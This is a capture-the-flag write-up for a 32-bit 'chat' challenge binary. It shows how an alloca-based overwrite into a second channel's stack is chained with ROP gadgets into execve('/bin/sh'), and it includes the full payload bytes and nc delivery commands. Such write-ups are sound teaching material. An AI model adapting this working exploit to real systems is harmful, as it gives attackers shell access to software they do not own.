```$ checksec chat[*] '/misc/projects/Chat/chat'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)```
```$ ./chatCommand Channel:> /hCommand Commands:	/nc	- New Chat Channel - Create and join a new Chat Channel.	/jc x	- Join Chat Channel - Join the Chat Channel number x.	/lc	- List Chat Channels - Lists the Chat Channels.	/q	- Quit - Quit this awesome chat program.	/h	- Help - Print this help message.> /ncChat Channel 1:> /hChat Commands:	/e	- Echo - The first line following this command specifies the number of characters to echo.	/pc	- Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.	/qc	- Quit Chat Channel - Return to Command Channel. The Chat Channel is terminated.	/h	- Help - Print this help message.That's all for now :/> ```
The number of characters to echo are read with `fgets` and converted to an integer with `atoi`. Afterwards the memory for the characters is allocated with `alloca`. One cannot wrap esp around with `alloca` by providing a negative number of characters to echo, as the actual characters are also read with `fgets`. And `fgets` doesn't accept a negative size.
Idea:
* There is enough space in the command variable to place the string '/bin/sh', argv, and envp in the bss section.* Create two channels and allocate enough memory with `alloca` via the echo command in the first channel to write to the stack of the second channel.* ROP to execve.
```# create channel 1/nc\n# pause channel 1 and return to command channel/pc\n
# create channel 2/nc\n# pause channel 2 and return to command channel/pc\n
# join channel 1 again/jc 1\n
# echo a message/e\n# length of the message is 250000 -> we write to the stack of channel 2# + 2 NULL bytes (two because I like 0xC more than 0xB) + '/bin/sh' + NULL byte + addr of '/bin/sh' string in command + NULL dword250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n# send rop code\x00\x00\x00\x00\x40\x74\x0f\x08\x34\x74\x0f\x08\x1e\x90\x04\x08\x2c\x74\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n
# terminate channel 1/qc\n
# join channel 2/jc 2\n```
The function who's return address gets overwritten is `__kernel_vsyscall`:``` → 0xf7ffdb20 <__kernel_vsyscall+0> push   ecx   0xf7ffdb21 <__kernel_vsyscall+1> push   edx   0xf7ffdb22 <__kernel_vsyscall+2> push   ebp   0xf7ffdb23 <__kernel_vsyscall+3> mov    ebp, esp   0xf7ffdb25 <__kernel_vsyscall+5> sysenter    0xf7ffdb27 <__kernel_vsyscall+7> int    0x80```This function is called at address 0x08079004 in poll:```.text:08078FE8 loc_8078FE8:                            ; CODE XREF: poll+19↑j.text:08078FE8                 mov     [esp+1Ch+var_10], edx.text:08078FEC                 mov     [esp+1Ch+var_14], ecx.text:08078FF0                 call    __libc_enable_asynccancel.text:08078FF5                 mov     ecx, [esp+1Ch+var_14].text:08078FF9                 mov     edx, [esp+1Ch+var_10].text:08078FFD                 mov     esi, eax.text:08078FFF                 mov     eax, 0A8h.text:08079004                 call    large dword ptr gs:10h.text:0807900B                 cmp     eax, 0FFFFF000h.text:08079010                 ja      short loc_807903A```
As one can see, the registers ecx and edx are pushed at the beginning of `__kernel_vsyscall`. Therefore, we can set ecx and edx conveniently due to `__kernel_vsyscall`'s pops of these registers before its return. 
ROP dissected:```# ebp\x00\x00\x00\x00
# edx -> envp points to NULL dword in command buffer -> envp = [NULL]\x98\x73\x0f\x08
# ecx -> argv points in command buffer -> argv = ["/bin/sh", NULL]\x94\x73\x0f\x08
# ret -> 0x0804901e : pop ebx ; ret\x1e\x90\x04\x08# ebx -> addr of command with '/bin/sh'\x8c\x73\x0f\x08
# ret -> 0x08051cf6 : pop eax ; ret\xf6\x1c\x05\x08# eax -> shell code number\x0b\x00\x00\x00
# ret -> 0x0807D3D0 : int 0x80 ; retn (_dl_sysinfo_int80)\xd0\xd3\x07\x08```
This results in these commands:```$ (python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | ./chat``````$ (python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | nc chat.forfuture.fluxfingers.net 1337```
Apparently, the remote solution required `execve('/bin/sh', ["/bin/sh", NULL], [NULL])` and didn't accept `execve('/bin/sh', [NULL], [NULL])`. However, this text book solution had the first execve to begin with and the requirement hasn't been noticed in time.